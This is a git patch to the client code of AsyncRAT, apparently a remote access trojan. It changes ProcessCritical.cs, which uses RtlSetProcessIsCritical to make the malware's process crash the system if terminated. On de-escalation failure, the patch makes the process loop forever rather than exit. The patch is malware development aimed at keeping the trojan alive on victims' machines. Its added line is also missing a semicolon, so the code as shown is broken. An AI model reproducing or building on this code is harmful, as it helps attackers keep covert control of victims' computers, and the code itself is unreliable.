From c9f3d0759ee74942b4d848ee782bcb809cf993f3 Mon Sep 17 00:00:00 2001 From: MrDevBot Date: Tue, 21 May 2019 19:03:28 +1000 Subject: [PATCH] Update to ProcessCritical.cs Address's a potential unintentional crash on DE-escalating failure which would cause a BSOD --- AsyncRAT-C#/Client/Helper/ProcessCritical.cs | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs index 640af11..e881a65 100644 --- a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs +++ b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs @@ -21,7 +21,13 @@ namespace Client.Helper { RtlSetProcessIsCritical(0, 0, 0); } - catch { } + catch + { + while(true) + { + Thread.Sleep(100000) //prevents a BSOD on exit failure + } + } } #region "Native Methods"